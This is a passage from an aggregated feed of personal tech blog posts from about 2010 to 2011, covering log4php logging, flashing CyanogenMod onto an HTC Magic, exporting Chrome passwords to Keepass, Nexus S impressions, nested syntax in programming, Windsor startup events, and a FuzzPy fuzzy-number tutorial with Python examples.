&lt;p&gt;And in my log4php.properties file I have a line that I think defines the logger named Foo (which I use exclusively in the class named Foo).&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;text geshifilter-text&quot;&gt;...&lt;br /&gt;
log4php.appender.Message = LoggerAppenderFile&lt;br /&gt;
log4php.appender.Message.file = /path/to/my/project.log&lt;br /&gt;
log4php.appender.Message.layout = LoggerLayoutTTCC&lt;br /&gt;
...&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;I have other loggers defined in there as well, including a root logger. And things seem to work. Mostly. I haven't been able to shut off logging from a class, which I think I should be able to do with a line like &lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;text geshifilter-text&quot;&gt;log4php.appender.Message = LoggerAppenderNull&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;This part doesn't behave as I'd expect. Outside of that though, I've used log4php to get a lot of diagnostic info. It was also really easy to spit out log lines over plain TCP/IP using &lt;a href=&quot;http://logging.apache.org/log4php/docs/appenders.html#LoggerAppenderSocket&quot;&gt;LoggerAppenderSocket&lt;/a&gt; and catch it on another machine with &lt;a href=&quot;http://www.linuxcommand.org/man_pages/nc1.html&quot;&gt;netcat&lt;/a&gt; (nc). &lt;/p&gt;
&lt;p&gt;Overall using log4php has been well worth the little time it took to figure it out. One of these days I'll sort out that last kink &amp;amp; figure out how to toggle logging by class too.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Modding my HTC Magic</title>
		<link href="http://www.latenightpc.com/blog/archives/2011/01/01/modding-my-htc-magic"/>
		<id>http://www.latenightpc.com/65642 at http://www.latenightpc.com</id>
		<updated>2011-01-02T00:08:26+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now that I'm using my Nexus S the HTC Magic I was using before feels really slow. I decided that instead of just doing a factory reset and giving it away I'd try putting CyanogenMod on it. I don't know a lot about it but I'd heard CyanogenMod is good at scaling down for slower devices. It wasn't simple, and I'd already unlocked my device previously. What follows are just a few notes in case I have to do it again. This is what worked for me to get CyanogenMod 6.1 on this phone, there's an HTC Ion here that I might need to do the same for some day.&lt;/p&gt;
&lt;p&gt;Most of the process is described step-by-step on the &lt;a href=&quot;http://wiki.cyanogenmod.com/index.php?title=HTC_Magic&quot;&gt;CyanogenMod wiki page for the Magic&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;I was concerned about backing up my Google apps (since I'd heard about the separate licensing), I tried Astro and another backup tool but couldn't see them. As it turns out, the Google apps didn't have to be backed up, there's a package to flash them later on.&lt;/p&gt;
&lt;p&gt;I booted the phone to see which model it was by holding back &amp;amp; power together. This showed it was an HTC Magic 32B, RADIO-2.22.27.08, etc. After that I turned off syncing and did a factory reset, since I was giving away the phone and didn't know what would come next (though I think that was unnecessary). Part of the process to root the phone uses an exploit on an older version of Android, so basically what happens is you put the exploitable version on, then boot and install FlashRec and take advantage of the exploit to install the modded firmware. This installs an older version of CyanogenMod and then you're able to upgrade to the latest. At least I think that's what happened. &lt;/p&gt;
&lt;p&gt;Installing FlashRec from the SD Card needs an app that can do that installation, like &lt;a href=&quot;http://www.appbrain.com/app/quick-app-install/com.bitants.quickappinstall&quot;&gt;Quick App Install&lt;/a&gt;. Unfortunately this introduced one extra annoyance for me. My phone came from T-Mobile and I use a T-Mobile SIM in it. I was modding it in Windsor (Canada) so I had no data plan and the old version of Android needs cell data to get through the start up process (just for signing in to Google). Luckily someone in the house had a Rogers SIM I could borrow to get the job done (of course I still had to manually enter &lt;a href=&quot;http://thekidd.ca/blog/2009/05/rogers-apn-configuration-for-android-phones/&quot;&gt;the APN info&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;One other confusing bit was about the recovery image. I wasn't able to replace recovery.img with Amon Ra. If I'd used &lt;a href=&quot;http://developer.android.com/sdk/index.html&quot;&gt;adb&lt;/a&gt; I probably could have figured that out. The new user on the phone probably won't be swapping firmware a lot so I think the unmaintained CyanogenMod recovery image will be okay. The recovery image is the software that puts up the screen shown when the phone is booted into fastboot (holding down back &amp;amp; power on my phone). The recovery image is what I used to install other firmware from the SD card (like the Google apps and new kernel).&lt;/p&gt;
&lt;p&gt;After modding the phone it booted up fine and looked okay but had a slight green shade to everything. This is apparently &lt;a href=&quot;http://forum.cyanogenmod.com/topic/10892-green-tint/page__st__140&quot;&gt;a known issue&lt;/a&gt; and a current workaround is to update the kernel, there's a &lt;a href=&quot;http://forum.xda-developers.com/showpost.php?p=8930875&amp;amp;postcount=475&quot;&gt;build for the Magic 32B linked to from this post&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;So that's my addendum to what's already out there; don't take it as a guide or advice. I did all this using only stuff I found on the web - while I do work for Google, I don't work on Android.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Export Google Chrome passwords to Keepass</title>
		<link href="http://alanp.ca/blog/2011/01/01/export-google-chrome-passwords-to-keepass/"/>
		<id>http://alanp.ca/blog/?p=211</id>
		<updated>2011-01-01T18:52:29+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Falanp.ca%2Fblog%2F2011%2F01%2F01%2Fexport-google-chrome-passwords-to-keepass%2F&amp;amp;title=Export%20Google%20Chrome%20passwords%20to%20Keepass&quot; id=&quot;wpa2a_6&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I have recently been complementing the power of &lt;a href=&quot;http://keepass.info&quot;&gt;Keepass&lt;/a&gt; with &lt;a href=&quot;http://www.dropbox.com&quot;&gt;Dropbox&lt;/a&gt;, which allows me to share and access my logins and passwords anywhere with an internet connection while still storing them in a secure manner.  Thanks to the &lt;a href=&quot;http://www.keepassdroid.com/&quot;&gt;KeepassDroid&lt;/a&gt; application, this even includes my phone.&lt;/p&gt;
&lt;p&gt;Since I began using Keepass, I have been looking for a way to import those pesky web application passwords into Keepass.  Since I have a different login and password for essentially every site I visit, managing and remembering these has been a huge problem in the past. With multiple hundreds of unique login/password combinations, doing this by hand was not an option.  This morning the problem came to a head and I decided to do something about it.&lt;/p&gt;
&lt;p&gt;Since Keepass allows importation from it&amp;#8217;s own XML format, the building blocks for an export/import were already there. I have been learning Ruby lately, so I decided I would whip up a quick script to export my Chrome passwords.&lt;/p&gt;
&lt;p&gt;After a bit of hacking, I finished chrome2keepass this morning and you can find it at its &lt;a href=&quot;https://github.com/alanpca/chrome2keepass&quot;&gt;Github Repository&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2011-09-20T13:00:19+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Nexus S</title>
		<link href="http://www.latenightpc.com/blog/archives/2010/12/20/nexus-s"/>
		<id>http://www.latenightpc.com/65641 at http://www.latenightpc.com</id>
		<updated>2010-12-20T13:00:00+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;Lucky me, I got a &lt;a href=&quot;http://www.google.com/nexus/&quot;&gt;Nexus S&lt;/a&gt; on Friday. Very nice upgrade from my previous phone, absolutely loving the speed and playing with all the toys. I was surprised it didn't have a microSD slot but I've never used more than a couple GB and the Nexus S does have 16GB storage so it's not likely to be a problem. So far I've used the front-facing camera for a quick self-portrait and the regular (rear-facing) one &lt;a href=&quot;http://www.flickr.com/photos/robertrussell/5271493929/&quot;&gt;just once&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;I've blown a lot of time the past couple days on Angry Birds and a few other games on the phone. Really looking forward to seeing Dungeon Defenders come out next week. I heard the phrase &quot;tower defense online role-playing game&quot; in the &lt;a href=&quot;http://www.joystiq.com/2010/12/18/dungeon-defenders-delivers-unreal-engine-to-android-next-week/&quot;&gt;preview video&lt;/a&gt;. Maybe I can play it on the flight to Windsor. If it really does need the 400MB they claim then I could fill up that storage space before the phone gets old.  &lt;/p&gt;
&lt;p&gt;The portable WiFi hotspot came in handy at the coffee shop. They offer WiFi but it's unsecured. So instead of using coffee shop WiFi, I shared my phone's data connection using the portable WiFi hotspot and WPA2 for a secure connection. Of course that means my data goes over 3G and I'm relying on whatever security model 3G uses but it's a step up from open WiFi. Maybe tethering would have worked as well but WiFi is easier to set up and understand for me.&lt;/p&gt;
&lt;p&gt;I'm also curious about the &lt;a href=&quot;http://en.wikipedia.org/wiki/Near_field_communication&quot;&gt;NFC&lt;/a&gt; reader in the Nexus S and whether it's possible to get a hold of some NFC tags somewhere. As I understand it, NFC tags should be small and easy to embed in stickers &amp;amp; posters. I'm hoping they can also be found for cheap soon at Frye's or Think Geek. Of course I expect NFC support to show up any day in the &lt;a href=&quot;http://code.google.com/p/moonblink/wiki/Tricorder&quot;&gt;Android Tricorder&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Thinking about Syntax</title>
		<link href="http://www.latenightpc.com/blog/archives/2010/12/19/thinking-about-syntax"/>
		<id>http://www.latenightpc.com/65640 at http://www.latenightpc.com</id>
		<updated>2010-12-19T06:51:36+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;XML is a nice syntax for some kinds of data. It's also a nice specific set of rules for data exchange between heterogeneous systems. But XML needs to be customized to the type of data that you're using it for. It serves as a wrapper around some other data. And once you get the characters of that data out, you still have some other rules to interpret it.&lt;/p&gt;
&lt;p&gt;Let me give a concrete example. In SVG you have path elements. The path has a d attribute. The value of the d attribute is a string of text. The encoding rules for that text are all clearly defined by XML so that disparate computer systems can set and get the value unambiguously. But once you get the value of the d attribute, you have to interpret it according to the rules of the SVG specification. The d attribute describes a path using characters that signify movement of a pen in arcs and lines. Could this have been more XML-y? Sure. The SVG WG could have (and people have suggested) used a syntax where each subpath is an element so the lines (m, l, v, h, etc) become XML elements themselves.&lt;/p&gt;
&lt;p&gt;Another concrete example is the meaning of the title element in an RSS feed. The content could be pretty wide open, but the rules for what can go in there are up to RSS, not XML. &lt;/p&gt;
&lt;p&gt;So what am I getting at? Just nested syntax I guess. Nesting syntax allows us to do things like mix Javascript with HTML and still figure out what a browser should do with the resulting compound document. SQL statements have been nested in strings of C++ programs forever, and there are plenty of other examples of parser A handing off some stuff to parser B. When we nest syntax B in syntax A this way we're using a set of rules to package up some text written in one language using a construct of another language. So strings in C++ can be any text and guess what, all of SQL is text. So that works.&lt;/p&gt;
&lt;p&gt;I think I'll stick to talking about SQL in C++ since it's less likely to spark religious wars. But the concepts apply to any other syntax B packed up in a construct from syntax A.&lt;/p&gt;
&lt;p&gt;Problems come up really quick when statement B (written in syntax B) happens across some disallowed construct from syntax A. Suppose you want to search for text that has a quote (&quot;) in it using an SQL statement in your C++ code. &quot;Escape it!&quot; You all shout in unison. Well, almost all of you. That one guy smirking in the back is thinking &quot;C++ sucks. If this were Javascript I could use single quotes around the outer statement and a quote character would be fine.&quot; Thing is, there are only a handful of approaches to strings.&lt;br /&gt;
1. Out of band character. The &quot; or ' that delimits the text. Using the oob character in the string requires escaping.&lt;br /&gt;
2. Start/end sequence. Like &amp;lt;![CDATA[]]&amp;gt; (bet that one gets munged by your feed reader). In this case, sometimes there's just no allowance for using the sequence in a string, instead you need to make two strings.&lt;br /&gt;
3. String plus length. Length, like in bytes. And omfg we can't count bytes! So I don't know of modern languages that let you approach setting that number yourself, though there are languages that use it internally for string representation.&lt;/p&gt;
&lt;p&gt;I don't think we've tried option 3 enough. Maybe it's because I'm not afraid of binary, hex editors, and things that aren't text. But if I remember right (and I'm not going to look this up in case I'm wrong - that would spoil my point) this is closer to what useful network stacks do. A TCP packet has a field for the length of the IP packet it's delivering. This speeds up operations for any points that speak TCP between the sender and the final receiver since the data bytes don't need to be read one-by-one looking for oob characters but it also means there's no ambiguity about whether the payload data is escaped properly. Since the TCP layer doesn't read the content that also reduces the potential for bugs in processing escaped data (and also surface area for exploits).&lt;/p&gt;
&lt;p&gt;Say we have statement B in syntax B which contains statement A in syntax A. Instead of treating anything written in syntax A as an arbitrary chunk of text, maybe statement A is a wrapped up foreign syntax package - with the network stack analogy syntax A is IP and syntax B is TCP. That foreign syntax package would be treated as binary and stored as some data at an offset with a given length in bytes. The syntax B parser then passes the foreign syntax package as binary with it's length to the syntax A parser. In the earlier example, syntax A is SQL and syntax B is C++. In general we could be talking about a Javascript VM, database engine, or whatever little parser figures out the content of the d attribute from that SVG file.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Local(-ish) Startup Activity</title>
		<link href="http://alanp.ca/blog/2010/11/04/local-ish-startup-activity/"/>
		<id>http://alanp.ca/blog/?p=205</id>
		<updated>2010-11-04T05:20:00+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Falanp.ca%2Fblog%2F2010%2F11%2F04%2Flocal-ish-startup-activity%2F&amp;amp;title=Local%28-ish%29%20Startup%20Activity&quot; id=&quot;wpa2a_8&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;It seems that the Windsor/Metro Detroit area is finally getting some startup assistance love.&lt;/p&gt;
&lt;p&gt;No great incubator yet, but we do﻿ have a few upcoming events in the area:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.startupdrinks.ca/index.php/windsor/&quot;&gt;Windsor Startup Drinks&lt;/a&gt; wi﻿ll be taking place next week, November 10th, in downtown Windsor.  It seems to be hosted by the &lt;a href=&quot;http://www.softechalliance.ca/&quot;&gt;Softech Alliance&lt;/a&gt; and &lt;a href=&quot;http://sifewindsor.com/&quot;&gt;SIFE Windsor&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://detroit.startupweekend.org/&quot;&gt;Detroit Startup Weekend&lt;/a&gt; will be held at &lt;a href=&quot;http://techtownwsu.org/&quot;&gt;TechTown&lt;/a&gt; at my alma mater, &lt;a href=&quot;http://www.wayne.edu&quot;&gt;Wayne State University&lt;/a&gt;, next weekend (November 12th-14th, 2010).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is a great chance for local startup-minded people to network and, as I like to say, increase their geek circle.  If you are one of these people, get out there and get involved.&lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2011-09-20T13:00:19+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Fuzzy Mathematics with FuzzPy (Part 2)</title>
		<link href="http://blog.madpython.com/2010/11/03/fuzzy-mathematics-with-fuzzpy-part-2/"/>
		<id>http://blog.madpython.com/?p=187</id>
		<updated>2010-11-03T13:00:24+00:00</updated>
		<content type="html">&lt;p&gt;In the &lt;a href=&quot;http://blog.madpython.com/2010/10/17/fuzzy-mathematics-with-fuzzpy-part-1/&quot;&gt;first part of this post&lt;/a&gt;, we explored the foundations of fuzzy sets and fuzzy graphs, and discussed how you can use FuzzPy, a general fuzzy mathematics library for python, to work with these types. Today, we will expand a bit on those foundations by learning about fuzzy numbers, and creating visualizations with FuzzPy.&lt;/p&gt;
&lt;h2&gt;Fuzzy Numbers&lt;/h2&gt;
&lt;p&gt;Think of a fuzzy number as a number whose actual value is uncertain. We do not have its value, but we have a set of estimations, each with an associated degree of likelihood, or &lt;code&gt;grade&lt;/code&gt;. If you remember the definition of a fuzzy set, you will remember that the structure of a fuzzy set is very similar to what I just described, so it only makes sense to use a fuzzy set to represent what is known about a fuzzy number.&lt;/p&gt;
&lt;p&gt;Effectively, a fuzzy number is a fuzzy subset of the real line &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmathbb%7BR%7D&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mathbb{R}&quot; title=&quot;&amp;#92;mathbb{R}&quot; class=&quot;latex&quot; /&gt;, where the value of each member of the set is an estimated value of the fuzzy number, and the &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value of the member is its grade.&lt;/p&gt;
&lt;div id=&quot;attachment_271&quot; class=&quot;wp-caption alignright&quot;&gt;&lt;a href=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/triangular.png&quot;&gt;&lt;img class=&quot;size-medium wp-image-271&quot; title=&quot;Triangular Fuzzy Number&quot; src=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/triangular-300x225.png&quot; alt=&quot;triangular_fuzzy_number&quot; width=&quot;300&quot; height=&quot;225&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Triangular Fuzzy Number&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;One can represent the estimated values as well as their associated &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-values in the form of a Cartesian coordinate system, with the Y-axis representing &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-values, and the X-axis representing estimated values.&lt;br /&gt;
We can then see that certain patterns emerge in the shape of the visualization, and these patterns are used to distinguish between the different types of fuzzy numbers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Polygonal&lt;/strong&gt; sets are represented by an arbitrary set of segments on the plane.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trapezoidal&lt;/strong&gt; sets contain two kernels (estimations whose &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value is exactly 1.0), and two X-intercepts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Triangular&lt;/strong&gt; sets contain exactly one kernel, and two X-intercepts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gaussian&lt;/strong&gt; sets have &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-values determined by a normal distribution, thus providing a smoother distribution.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are a few additional types as well, but these are the four basic types, and are all supported out of the box by FuzzPy.&lt;/p&gt;
&lt;p&gt;Because the points of interest in each type are different, instanciating a new &lt;code&gt;FuzzyNumber&lt;/code&gt; in FuzzPy is done differently depending on the type. Let&amp;#8217;s instantiate objects for each of these types using FuzzPy, and we&amp;#8217;ll play a bit with these objects in a moment. Make sure you have FuzzPy installed first (&lt;code&gt;easy_install -U fuzzpy&lt;/code&gt;) and save the following code in &lt;code&gt;fuzzynums.py&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;import&lt;/span&gt; fuzz
&amp;nbsp;
&lt;span&gt;# Instantiating a PolynomialFuzzyNumber is done by providing&lt;/span&gt;
&lt;span&gt;# a list of (value, mu) tuple to the constructor:&lt;/span&gt;
polygonal = &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;PolygonalFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, \
    &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.25&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;0.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.3&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.8&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
polygonal += &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;PolygonalFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, \
    &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;0.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3.0&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4.0&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;6.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# A trapezoidal needs to be given a tuple containing the values&lt;/span&gt;
&lt;span&gt;# of the kernels (mu = 1.0) and a tuple containing the values&lt;/span&gt;
&lt;span&gt;# of the support (mu = 0.0)&lt;/span&gt;
trapezoidal = &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;TrapezoidalFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;2.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, \
    &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;, &lt;span&gt;3.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
trapezoidal += &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;TrapezoidalFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;6.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, \
    &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.5&lt;/span&gt;, &lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# A triangular set needs to be provided the value of the&lt;/span&gt;
&lt;span&gt;# kernel, and a tuple containing the values of the support.&lt;/span&gt;
triangular = &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;TriangularFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;3.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
triangular += &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;TriangularFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4.0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;4.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Gaussian fuzzy sets simply need the mean, and standard&lt;/span&gt;
&lt;span&gt;# derivation for the estimated value.&lt;/span&gt;
gaussian = &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;GaussianFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;0.2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
gaussian += &lt;span&gt;&amp;#91;&lt;/span&gt;fuzz.&lt;span&gt;GaussianFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;12.0&lt;/span&gt;, &lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now fire up the python interpreter and work with our objects:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Polygonal Union:&lt;/span&gt;
... &lt;span&gt;print&lt;/span&gt; polygonal&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; | polygonal&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
PolygonalFuzzyNumber: kernel &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.25&lt;/span&gt;, &lt;span&gt;0.25&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.3&lt;/span&gt;, &lt;span&gt;1.3&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, \
